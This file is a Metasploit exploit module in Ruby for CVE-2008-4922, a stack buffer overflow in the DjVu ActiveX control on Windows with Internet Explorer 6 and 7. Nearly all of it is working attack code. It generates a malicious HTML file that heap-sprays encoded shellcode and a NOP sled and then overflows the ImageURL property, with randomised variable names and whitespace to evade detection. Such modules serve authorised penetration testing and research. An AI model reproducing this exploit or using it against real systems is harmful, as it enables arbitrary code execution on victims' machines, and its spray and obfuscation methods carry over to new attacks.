##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
        overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
        an attacker may be able to execute arbitrary code. This control is not marked safe
        for scripting, so choose your attack vector accordingly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-4922' ],
          [ 'OSVDB', '49592' ],
          [ 'BID', '31987' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Oct 30 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.html']),
      ], self.class)
  end

  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|
<html>
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.ImageURL = #{rand8};
</script>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Creating HTML file ...")

    file_create(content)
  end

end
